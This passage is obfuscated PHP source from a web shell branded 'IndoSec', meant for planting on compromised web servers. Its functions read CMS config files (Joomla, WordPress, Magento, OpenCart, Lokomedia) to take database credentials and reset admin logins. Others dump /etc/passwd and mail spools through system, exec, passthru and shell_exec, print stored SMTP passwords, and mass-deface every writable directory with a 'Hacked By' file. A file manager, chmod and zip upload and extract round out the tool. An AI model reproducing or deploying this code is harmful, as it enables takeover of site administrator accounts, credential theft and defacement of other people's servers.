$id = $result["id"]; goto obOYv; ygRYN: $db = mysql_select_db($dbname); goto uK484; qrs4a: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE id='{$id}'"); goto uB1bz; obOYv: $site = ambilkata($config, "sitename = '", "'"); goto qrs4a; B3phz: $result = mysql_fetch_array($q); goto AnXvI; khuHg: $dbpass = ambilkata($config, "password = '", "'"); goto WLLtj; oEIOg: echo "CMS => Joomla<br>"; goto MzgFC; COide: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto ZPL3v; uK484: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC"); goto B3phz; WLLtj: $dbname = ambilkata($config, "db = '", "'"); goto F3ydN; F3ydN: $dbprefix = ambilkata($config, "dbprefix = '", "'"); goto kWa51; ZPL3v: mysql_close($conn); goto WZPDj; WZPDj: } elseif (preg_match("/WordPress/", $config)) { goto cAtpC; gMe_3: $dbuser = ambilkata($config, "DB_USER', '", "'"); goto gPCtp; Pe2rs: $q2 = mysql_query("SELECT * FROM {$option} ORDER BY option_id ASC"); goto rgBZ2; EbwvB: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}/wp-login.php' target='_blank'><u>{$target}/wp-login.php</u></a><br>"; } goto iJj0V; cAtpC: $dbhost = ambilkata($config, "DB_HOST', '", "'"); goto gMe_3; qwadN: $option = $dbprefix . "options"; goto p9dHQ; AzzQC: mysql_close($conn); goto odj1h; m3AKb: $dbname = ambilkata($config, "DB_NAME', '", "'"); goto bfq1R; p9dHQ: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto VcMKr; IJMtv: $prefix = $dbprefix . "users"; goto qwadN; vuC9i: echo "Config => " . $file_conf . "<br>"; goto Kl0mY; hpFI9: echo $url_target; goto Sk6i_; lJqDy: $result = mysql_fetch_array($q); goto nsq9h; gPCtp: $dbpass = ambilkata($config, "DB_PASSWORD', '", "'"); goto m3AKb; bfq1R: $dbprefix = ambilkata($config, "table_prefix  = '", "'"); goto IJMtv; z4Eez: $target = $result2[option_value]; goto EbwvB; Kl0mY: echo "CMS => Wordpress<br>"; goto hpFI9; VcMKr: $db = mysql_select_db($dbname); goto CjOVV; nsq9h: $id = $result[ID]; goto Pe2rs; Sk6i_: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto AzzQC; iJj0V: $update = mysql_query("UPDATE {$prefix} SET user_login='{$user_baru}',user_pass='{$pass_baru}' WHERE id='{$id}'"); goto vuC9i; rgBZ2: $result2 = mysql_fetch_array($q2); goto z4Eez; CjOVV: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC"); goto lJqDy; odj1h: } elseif (preg_match("/Magento|Mage_Core/", $config)) { goto xKgiu; CWqdG: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC"); goto XbaaJ; XbaaJ: $result = mysql_fetch_array($q); goto NZDtt; p1JIa: $dbname = ambilkata($config, "<dbname><![CDATA[", "]]></dbname>"); goto Y3x0b; cEfrq: $result2 = mysql_fetch_array($q2); goto pLqxI; kKCkA: $prefix = $dbprefix . "admin_user"; goto Ej5bL; BTAAs: mysql_close($conn); goto Y2tDL; YRuSs: echo "CMS => Magento<br>"; goto tjnA5; hUYbg: $db = mysql_select_db($dbname); goto CWqdG; pLqxI: $target = $result2[value]; goto RM_Bx; fPzPe: echo "Config => " . $file_conf . "<br>"; goto YRuSs; tjnA5: echo $url_target; goto KeSdm; PCwVL: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); goto fPzPe; xKgiu: $dbhost = ambilkata($config, "<host><![CDATA[", "]]></host>"); goto A1MQ6; y4xAO: $dbpass = ambilkata($config, "<password><![CDATA[", "]]></password>"); goto p1JIa; NZDtt: $id = $result[user_id]; goto fLHnM; Y3x0b: $dbprefix = ambilkata($config, "<table_prefix><![CDATA[", "]]></table_prefix>"); goto kKCkA; RM_Bx: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}/admin/' target='_blank'><u>{$target}/admin/</u></a><br>"; } goto PCwVL; A1MQ6: $dbuser = ambilkata($config, "<username><![CDATA[", "]]></username>"); goto y4xAO; KeSdm: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto BTAAs; Ej5bL: $option = $dbprefix . "core_config_data"; goto CrFqU; CrFqU: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto hUYbg; fLHnM: $q2 = mysql_query("SELECT * FROM {$option} WHERE path='web/secure/base_url'"); goto cEfrq; Y2tDL: } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) { goto rtKCB; XVSoG: $dbpass = ambilkata($config, "'DB_PASSWORD', '", "'"); goto FFcGv; Ob0Dx: $dbprefix = ambilkata($config, "'DB_PREFIX', '", "'"); goto LAQPw; I4Ucu: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto RnuZA; nfneQ: echo $url_target; goto NkokD; yzDfc: $result = mysql_fetch_array($q); goto VMP4U; FFcGv: $dbname = ambilkata($config, "'DB_DATABASE', '", "'"); goto Ob0Dx; qhAcF: mysql_close($conn); goto aFrGq; NkokD: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto qhAcF; LAQPw: $prefix = $dbprefix . "user"; goto I4Ucu; jDYWx: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a><br>"; } goto czkav; rtKCB: $dbhost = ambilkata($config, "'DB_HOSTNAME', '", "'"); goto IFJkZ; czkav: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); goto tTHtY; tTHtY: echo "Config => " . $file_conf . "<br>"; goto qj4rd; xhfn_: $target = ambilkata($config, "HTTP_SERVER', '", "'"); goto jDYWx; x20wo: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC"); goto yzDfc; qj4rd: echo "CMS => OpenCart<br>"; goto nfneQ; VMP4U: $id = $result[user_id]; goto xhfn_; IFJkZ: $dbuser = ambilkata($config, "'DB_USERNAME', '", "'"); goto XVSoG; RnuZA: $db = mysql_select_db($dbname); goto x20wo; aFrGq: } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) { goto V3aWl; MLfha: $dbpass = ambilkata($config, "password = "", """); goto dIOw5; V3aWl: $dbhost = ambilkata($config, "server = "", """); goto cmkBt; mSq2u: mysql_close($conn); goto K0Rbr; v2PEm: $prefix = "users"; goto j1Xx_; b7Py6: $target = $result[alamat_website]; goto GR1tj; GR1tj: if ($target == '') { goto fEjiS; Tk_2c: if ($target2 == '') { $url_target2 = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { goto CoaUK; qFy3h: $cek_login4 = file_get_contents("{$target2}/lokomedia/adminweb/"); goto U3GsA; U3GsA: if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => <a href='{$target2}/adminweb' target='_blank'><u>{$target2}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => <a href='{$target2}/lokomedia/adminweb' target='_blank'><u>{$target2}/lokomedia/adminweb</u></a><br>"; } else { $url_target2 = "Login => <a href='{$target2}' target='_blank'><u>{$target2}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } goto GBbk4; CoaUK: $cek_login3 = file_get_contents("{$target2}/adminweb/"); goto qFy3h; GBbk4: } goto TnJxt; fEjiS: $target2 = $result[url]; goto NMWf6; NMWf6: $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; goto Tk_2c; TnJxt: } else { goto Phu4L; U6SOr: $cek_login2 = file_get_contents("{$target}/lokomedia/adminweb/"); goto rpHd_; rpHd_: if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => <a href='{$target}/adminweb' target='_blank'><u>{$target}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => <a href='{$target}/lokomedia/adminweb' target='_blank'><u>{$target}/lokomedia/adminweb</u></a><br>"; } else { $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } goto LyaSl; Phu4L: $cek_login = file_get_contents("{$target}/adminweb/"); goto U6SOr; LyaSl: } goto JJO5v; dIOw5: $dbname = ambilkata($config, "database = "", """); goto v2PEm; jNSfh: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto mSq2u; hDgQn: $q = mysql_query("SELECT * FROM {$option} ORDER BY id_identitas ASC"); goto a0u5M; tUuf9: echo "Config => " . $file_conf . "<br>"; goto vJTy1; vJTy1: echo "CMS => Lokomedia<br>"; goto k5I_V; cmkBt: $dbuser = ambilkata($config, "username = "", """); goto MLfha; k5I_V: if (preg_match("/Error, Tidak dapat mengambil nama domainnya/", $url_target)) { echo $url_target2; } else { echo $url_target; } goto jNSfh; afylr: $db = mysql_select_db($dbname); goto hDgQn; a0u5M: $result = mysql_fetch_array($q); goto b7Py6; JJO5v: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE level='admin'"); goto tUuf9; mLfpm: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto afylr; j1Xx_: $option = "identitas"; goto mLfpm; K0Rbr: } goto OuNCm; WfS_A: if (!is_file("{$conf}/{$file_conf}")) { continue; } goto EDVER; OuNCm: } goto WYsSx; g8oRO: $scan_conf = scandir($conf); goto tc_iq; VU6Vg: $user_baru = $_POST["user_baru"]; goto ExJU3; ExJU3: $pass_baru = md5($_POST["pass_baru"]); goto nOtzz; WYsSx: } } else { echo "<h3 class='text-center mb-4'>Auto Edit User</h3>
\xa\x9\x9<form method='post'>
\xa			<h5>Lokasi Dir Config</h5>\xd
			<input type='text' class='form-control mb-3' name='config_dir' value='{$dir}'>
\x9		<h5>Set User & Pass :</h5>\xd
		\x9<input type='text' name='user_baru' value='indosec' class='form-control mb-3' placeholder='Set Username'>
\xa	\x9\x9<input type='text' name='pass_baru' value='indosec' class='form-control mb-4' placeholder='Set Password'>\xd\xa\x9		<input type='submit' name='hajar' value='Edit User' class='btn btn-danger btn-block'>
\xa\x9	</form>\xd
\x9\x9<p class='text-muted mb-4'>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</p>"; } exit; } goto Q1kC3; cNm1V: $ndir = basename($dir); goto Flkqi; hhyOO: foreach ($paths as $id => $pat) { goto ciALZ; ypSZS: echo "">" . $pat . "</a>/"; goto eRqnK; ciALZ: if ($pat == '' && $id == 0) { goto Z9R4D; Z9R4D: $a = true; goto DaQLR; DaQLR: echo "<a href="?dir=/">/</a>"; goto ORBh3; ORBh3: continue; goto G8tgO; G8tgO: } goto rIhYz; rIhYz: if ($pat == '') { continue; } goto hknkG; jqNMF: for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } goto ypSZS; hknkG: echo "<a style="word-wrap:break-word;" href="?dir="; goto jqNMF; eRqnK: } goto hIOPi; hIOPi: $scandir = scandir($path); goto ss2lY; Kt0bP: if ($_GET["aksi"] == "rename") { renameFile($dir, $file, $nfile, $imgfile); } goto QLTzH; A3jfK: if ($_GET["aksi"] == "config") { aksiConfig($dir, $file); } goto GhJRN; o9j8b: if (isset($_GET["file"])) { $file = $_GET["file"]; } goto UGR7W; CEE4C: function aksiBypasswd($dir, $file) { goto dsRSN; yPVKZ: if ($_POST["shexuser"]) { goto Ag6OB; sc2xz: echo shell_exec("{$mail}"); goto zkKNS; zkKNS: echo "</textarea><br>"; goto D_Jqg; Ag6OB: echo "<textarea class='form-control' rows='13'>"; goto sc2xz; D_Jqg: } goto uG8iR; uG8iR: echo "</div>"; goto kL5nY; dsRSN: echo "<div claas="container">\xd\xa		<form method="POST">\xd
\x9		<p class="text-center">Bypass etc/passwd With :</p>
\xa\x9	\x9<div class="d-flex justify-content-center flex-wrap">
	\x9		<input type="submit" class="fiture btn btn-danger btn-sm" value="System Function" name="syst">\xd\xa\x9			<input type="submit" class="fiture btn btn-danger btn-sm" value="Passthru Function" name="passth">
\xa			\x9<input type="submit" class="fiture btn btn-danger btn-sm" value="Exec Function" name="ex">\xd
\x9\x9		<input type="submit" class="fiture btn btn-danger btn-sm" value="Shell_exec Function" name="shex">
\x9\x9	\x9<input type="submit" class="fiture btn btn-danger btn-sm" value="Posix_getpwuid Function" name="melex">\xd\xa\x9	\x9</div><hr/>
\x9		<p class="text-center">Bypass User With :</p>
		\x9<div class="d-flex justify-content-center flex-wrap">\xd\xa\x9		\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Awk Program" name="awkuser">\xd\xa		\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="System Function" name="systuser">
\xa		\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Passthru Function" name="passthuser">\x9\xd\xa	\x9	\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Exec Function" name="exuser">\x9	
\x9	\x9\x9<input type="submit" class="fiture btn btn-warning btn-sm" value="Shell_exec Function" name="shexuser">
\xa\x9	\x9</div>
\xa\x9	</form>"; goto Aw6iH; Aw6iH: $mail = "ls /var/mail"; goto HK5IV; TmEC8: if ($_POST["passthuser"]) { goto vzd6I; j1jpR: echo "</textarea><br>"; goto Ck0oS; P9iBc: echo passthru("{$mail}"); goto j1jpR; vzd6I: echo "<textarea class='form-control' rows='13'>"; goto P9iBc; Ck0oS: } goto ONllC; ztpfj: if ($_POST["shex"]) { goto nW0Su; MJOhS: echo shell_exec("cat {$paswd}"); goto C4ueg; C4ueg: echo "</textarea><br/>"; goto SntWP; nW0Su: echo "<textarea class='form-control' rows='13'>"; goto MJOhS; SntWP: } goto XL78J; XL78J: if ($_POST["melex"]) { goto qoHp3; o6hDT: echo "</textarea><br/>"; goto Dp1Y2; LQfw0: for ($uid = 0; $uid < 6000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "n"; } } goto o6hDT; qoHp3: echo "<textarea class='form-control' rows='13'>"; goto LQfw0; Dp1Y2: } goto JxV0U; WMs4i: if ($_POST["ex"]) { goto LXuDk; LXuDk: echo "<textarea class='form-control' rows='13'>"; goto OBPGI; hCVIG: echo "</textarea><br/>"; goto Tu_5s; OBPGI: echo exec("cat {$paswd}"); goto hCVIG; Tu_5s: } goto ztpfj; HK5IV: $paswd = "/etc/passwd"; goto MuuLb; v3bth: if ($_POST["systuser"]) { goto HuxQ0; wc5wp: echo "</textarea><br>"; goto w4wBl; hKzOD: echo system("{$mail}"); goto wc5wp; HuxQ0: echo "<textarea class='form-control' rows='13'>"; goto hKzOD; w4wBl: } goto TmEC8; kL5nY: exit; goto iHrDz; MuuLb: if ($_POST["syst"]) { goto QzR7j; m_2D2: echo system("cat {$paswd}"); goto F0zN7; QzR7j: echo "<textarea class='form-control' rows='13'>"; goto m_2D2; F0zN7: echo "</textarea><br/>"; goto CaqSM; CaqSM: } goto JXTVJ; ONllC: if ($_POST["exuser"]) { goto KQHpm; KQHpm: echo "<textarea class='form-control' rows='13'>"; goto cIQ2P; QjX_I: echo "</textarea><br>"; goto zv52t; cIQ2P: echo exec("{$mail}"); goto QjX_I; zv52t: } goto yPVKZ; JXTVJ: if ($_POST["passth"]) { goto niuJd; Kccfw: echo "</textarea><br/>"; goto rduDI; niuJd: echo "<textarea class='form-control' rows='13'>"; goto fQoPp; fQoPp: echo passthru("cat {$paswd}"); goto Kccfw; rduDI: } goto WMs4i; JxV0U: if ($_POST["awkuser"]) { echo "<textarea class='form-control' rows='13'>
	\x9	\x9" . shell_exec("awk -F: '{ print $1 }' {$paswd} | sort") . "\xd
			</textarea><br/>"; } goto v3bth; iHrDz: } goto t4EOb; PRVva: $d0mains = @file("/etc/named.conf", false); goto ecDhJ; UX23f: if ($_GET["aksi"] == "resetpasscp") { resetCp($dir); } goto xBMpg; Pr5dP: function renameFolder($dir, $ndir, $imgfol) { goto XmeVb; Ht5hA: exit; goto z_kwc; XmeVb: echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder' class='active'>Rename</a> ]  [ <a href='?dir=" . $dir . "&aksi=hapus_folder'>Delete</a> ] 
\xa\x9<h5>{$imgfol} Rename Folder : {$ndir} </h5>\xd\xa\x9<form method='POST'>\xd
\x9\x9<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$nama}'><br/>\xd
\x9	<button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button><br/>
\x9</form>"; goto B_aHF; B_aHF: if (isset($_POST["ganti"])) { goto QKLZ5; QKLZ5: $baru = htmlspecialchars($_POST["namanew"]); goto BLWgr; l2jOQ: if ($ubah) { goto U286q; U286q: $swa = "success"; goto x0WzU; x0WzU: $text = "Berhasil Mengganti Nama"; goto xrqe3; YSvaW: swall($swa, $text, $dir); goto gqvgc; xrqe3: $dir = dirname($dir); goto YSvaW; gqvgc: } else { goto HEyMW; HEyMW: $swa = "error"; goto zGZwy; Y8SSk: swall($swa, $text, $dir); goto PnVvq; rJykO: $dir = dirname($dir); goto Y8SSk; zGZwy: $text = "Gagal Mengganti Nama"; goto rJykO; PnVvq: } goto w3UtM; BLWgr: $ubah = rename($dir, '' . dirname($dir) . "/" . $baru . ''); goto l2jOQ; w3UtM: } goto Ht5hA; z_kwc: } goto R6uAn; KB25g: $curl = function_exists("curl_version") ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; goto ADDCP; jaqPi: @ini_set("error_log", NULL); goto d6UQd; SjvR3: $paths = explode("/", $path); goto hNteG; QWWRl: if ($_GET["aksi"] == "symread") { aksiSymread($dir, $file); } goto yu_yk; dMd6a: @clearstatcache(); goto jaqPi; WUrcF: if ($_GET["aksi"] == "sym_bypas") { symBypass($dir, $file); } goto PlgOz; sZUYH: function aksiMasdef($dir, $file, $imgfol, $imgfile) { goto Cj8PS; Qnj7G: if ($_POST["start"]) { goto na8eB; wcOEU: if ($_POST["tipe"] == "mahal") { tipe_massal($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } elseif ($_POST["tipe"] == "murah") { tipe_biasa($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } goto pel2b; na8eB: echo "[ <a href='?dir={$dir}'>Kembali</a> ]
\xa\x9	<textarea class='form-control' rows='13' disabled=''>"; goto wcOEU; pel2b: echo "</textarea><br/>"; goto W88tL; W88tL: } else { echo "<form method='post'>
\xa	\x9\x9<div class='text-center'>\xd
	\x9\x9\x9<h5>Tipe :</h5>
\xa	\x9\x9\x9<input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked>
\xa		\x9\x9<label for='toggle-on' class='butn'>Biasa</label>
\xa			\x9<input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'>
\xa\x9\x9	\x9<label for='toggle-off' class='butn'>Masal</label>\xd\xa\x9	\x9</div> 
		\x9<h5>{$imgfol} Lokasi :</h5>\xd\xa		\x9<input type='text' name='d_dir' value='{$dir}' class='form-control'><br>
\xa			<h5>{$imgfile} Nama File :</h5>\xd
\x9		<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/>
\xa\x9\x9	<h5>{$imgfile} Isi File :</h5>\xd\xa	\x9\x9<textarea name='script' class='form-control' rows='13' placeholder='[Ex] Hacked By { IndoSec }'></textarea><br/>\xd\xa			<input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>\xd\xa		</form>"; } goto xv9qC; kMD_w: function tipe_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto KF1Bl; vSkA9: if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "Done > {$dirb}/{$namafile}
"; file_put_contents($lokasi, $isi_script); } } } goto zidlR; zUNmS: $lokasi = $dirc . "/" . $namafile; goto vSkA9; KF1Bl: $dirc = "{$dir}/{$dirb}"; goto zUNmS; zidlR: } } } goto Qnj7G; Cj8PS: function tipe_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { goto sZGbD; K6bv8: if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { goto sEhPD; sEhPD: echo "Done > {$lokasi}
"; goto do6Kg; INUxl: $masdef = tipe_massal($dirc, $namafile, $isi_script); goto MNZuO; do6Kg: file_put_contents($lokasi, $isi_script); goto INUxl; MNZuO: } } } goto Svihv; sZGbD: $dirc = "{$dir}/{$dirb}"; goto o_G2N; o_G2N: $lokasi = $dirc . "/" . $namafile; goto K6bv8; Svihv: } } } goto kMD_w; xv9qC: exit; goto USSX5; USSX5: } goto KOm7m; rejeN: if ($_GET["aksi"] == "rename_folder") { renameFolder($dir, $ndir, $imgfol); } goto Ot8UB; rGm1j: $dir = str_replace("\", "/", $dir); goto m95hV; Hn4Nw: function formatSize($bytes) { goto CTgpl; pMDqt: return round($bytes, 2) . " " . $types[$i]; goto lFRk3; KeBLr: for ($i = 0; $bytes >= 1024 && $i < count($types) - 1; $bytes /= 1024, $i++) { } goto pMDqt; CTgpl: $types = array("B", "KB", "MB", "GB", "TB"); goto KeBLr; lFRk3: } goto Cykyt; VrQx0: function chmodFolder($dir, $ndir) { goto j5B61; FovYY: exit; goto vSh5i; j5B61: echo "<form method='POST'>
\x9\x9<h5>Chmod Folder : {$ndir} </h5>\xd
		<div class='form-group input-group'>\xd
\x9\x9\x9<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["dir"])), -4) . "'>
		\x9<input type='submit' class='btn btn-danger form-control' value='Chmod' name='chmo'>
		</div>\xd\xa	</form>"; goto X0n9U; X0n9U: if (isset($_POST["chmo"])) { if (@chmod($_GET["dir"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } goto FovYY; vSh5i: } goto vWrZ6; CaV21: function scj($dir) { goto KrU0l; ikVd0: exit; goto mju2m; qGCPJ: echo "<p class='text-muted'>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>"; goto ikVd0; KrU0l: $dirs = scandir($dir); goto pCK4W; pCK4W: foreach ($dirs as $dirb) { goto e0Fbl; apQeE: $ambil = file_get_contents("{$dir}/{$dirb}"); goto SaSnJ; Rx0Nt: if (preg_match("/JConfig|joomla/", $ambil)) { goto gqqCg; pSqup: $smtp_pass = ambilkata($ambil, "smtppass = '", "'"); goto uVy9q; AFKTS: $smtp_secure = ambilkata($ambil, "smtpsecure = '", "'"); goto P1a7x; gqqCg: $smtp_host = ambilkata($ambil, "smtphost = '", "'"); goto BAxPY; uVy9q: $smtp_port = ambilkata($ambil, "smtpport = '", "'"); goto AFKTS; i0nSA: $smtp_user = ambilkata($ambil, "smtpuser = '", "'"); goto pSqup; BAxPY: $smtp_auth = ambilkata($ambil, "smtpauth = '", "'"); goto i0nSA; P1a7x: echo "<table class='text-white table table-bordered'>
\x9\x9	\x9<tr>\xd
\x9				<td>SMTP Host: {$smtp_host}</td>
\xa	\x9\x9\x9</tr>
\xa\x9\x9	\x9<tr>
\xa\x9\x9	\x9	<td>SMTP Port: {$smtp_port}</td>
		\x9\x9</tr>
\xa\x9	\x9	<tr>
\xa	\x9	\x9\x9<td>SMTP User: {$smtp_user}</td>
\x9	\x9	</tr>\xd\xa\x9			<tr>
\x9		\x9	<td>SMTP Pass: {$smtp_pass}</td>
\x9	\x9	</tr>\xd\xa				<tr>
\x9\x9\x9\x9	<td>SMTP Auth: {$smtp_auth}</td>\xd
\x9\x9\x9	</tr>\xd\xa\x9	\x9	<tr>\xd\xa\x9	\x9\x9\x9<td>SMTP Secure: {$smtp_secure}</td>
\x9	\x9\x9</tr>\xd\xa		\x9</table>"; goto xw02J; xw02J: } goto eT4Zi; SaSnJ: $ambil = str_replace("$", '', $ambil); goto Rx0Nt; e0Fbl: if (!is_file("{$dir}/{$dirb}")) { continue; } goto apQeE; eT4Zi: } goto qGCPJ; mju2m: } goto dMaf5; POaEb: function swall($swa, $text, $dir) { echo "<script>Swal.fire({\xd
\x9\x9title: '{$swa}',
\xa\x9	text: '{$text}',\xd\xa\x9	type: '{$swa}',
\xa\x9}).then((value) => {window.location='?dir={$dir}';})</script>"; } goto HPFNR; MGkZQ: $pers = (int) ($free / $total * 100); goto ojXWH; Ot8UB: if ($_GET["aksi"] == "hapus_folder") { deleteFolder($dir, $ndir); } goto JC923; QLTzH: if ($_GET["aksi"] == "hapusf") { hapusFile($dir, $file, $nfile); } goto cNm1V; pxxCU: function zipMenu($dir, $file) { goto KwhaV; legY4: if ($_POST["extrak"]) { $zip = $_POST["file_zip"]; if (Zip_Extrack($zip, $dir)) { goto uljzs; HgX4c: $text = "Berhasil Mengekstrak Zip"; goto CiUFf; uljzs: $swa = "success"; goto HgX4c; CiUFf: swall($swa, $text, $dir); goto eOwxe; eOwxe: } else { echo "<b>Gagal!</b>"; } } goto xhVRW; nv1oI: if ($_POST["backup"]) { $fol = $_POST["folder"]; if (Zip($fol, $_POST["folder"] . "/" . $exzip)) { goto iPONe; fc5ka: $text = "Berhasil Membuat Zip"; goto feE8g; iPONe: $swa = "success"; goto fc5ka; feE8g: swall($swa, $text, $dir); goto LXz9J; LXz9J: } else { echo "<b>Gagal!</b>"; } } goto hVO8_; KeFt3: echo "<div class="card card-body text-dark mb-4">\xd\xa		<h4 class="text-center">Zip Menu</h3>\xd\xa	\x9<form enctype="multipart/form-data" method="post">\xd
		\x9<div class="form-group">
			\x9<label>Zip File:</label>\xd\xa	\x9\x9\x9<div class="custom-file">
\xa\x9\x9		\x9<input type="file" name="zip_file" class="custom-file-input" id="customFile">
\x9	\x9\x9	<label class="custom-file-label" for="customFile">Choose file</label>\xd
				</div>
	\x9\x9\x9<input type="submit" name="upnun" class="btn btn-danger btn-block mt-3" value="Upload & Unzip"/>\xd\xa		\x9</div>
\xa		</form>"; goto saYi2; RztaG: function Zip_Extrack($zip_files, $to_dir) { goto G_8b4; G_8b4: $zip = new ZipArchive(); goto R0rVV; M5D2F: if ($res === TRUE) { goto ToJkA; l0CL3: return @$zip->close(); goto V95_5; ToJkA: $name = basename($zip_files, ".zip") . "_unzip"; goto whgdB; r7GgU: @$zip->extractTo($to_dir . "/" . $name); goto l0CL3; whgdB: @mkdir($name); goto r7GgU; V95_5: } else { return false; } goto G6qn4; R0rVV: $res = $zip->open($zip_files); goto M5D2F; G6qn4: } goto KeFt3; hVO8_: echo "</div>\xd\xa		<div class='col-md-6'><h5>Unzip Manual</h5>
	\x9<form action='' method='post'>\xd
	\x9	<label>Zip Location:</label>
\x9	\x9<input type='text' name='file_zip' class='form-control mb-3' value='{$dir}/{$exzip}'>
\xa	\x9	<input type='submit' name='extrak' class='btn btn-danger btn-block' value='Unzip!'>\xd\xa	\x9</form>"; goto legY4; xhVRW: echo "</div></div></div>"; goto X3tKv; saYi2: if ($_POST["upnun"]) { goto nnNmC; nnNmC: $filename = $_FILES["zip_file"]["name"]; goto yUCIk; yUCIk: $tmp = $_FILES["zip_file"]["tmp_name"]; goto LpgzB; LpgzB: if (move_uploaded_file($tmp, "{$dir}/{$filename}")) { goto ytfLg; ytfLg: echo Zip_Extrack($filename, $dir); goto fCJvV; fCJvV: unlink($filename); goto H3sXy; H3sXy: $swa = "success"; goto SObv_; XCmpd: swall($swa, $text, $dir); goto guVE2; SObv_: $text = "Berhasil Mengekstrak Zip"; goto XCmpd; guVE2: } else { echo "<b>Gagal!</b>"; } goto FxM6O; FxM6O: } goto R_23f; KwhaV: $exzip = basename($dir) . ".zip"; goto oK1ly; R_23f: echo "<div class='row'><div class='col-md-6 mb-3'><h5>Zip Backup</h5>\xd
		<form method='post'>\xd
\x9\x9	<label>Folder</label>
\x9\x9\x9<input type='text' name='folder' class='form-control mb-3' value='{$dir}'>
\xa	\x9	<input type='submit' name='backup' class='btn btn-danger btn-block' value='Backup!'>
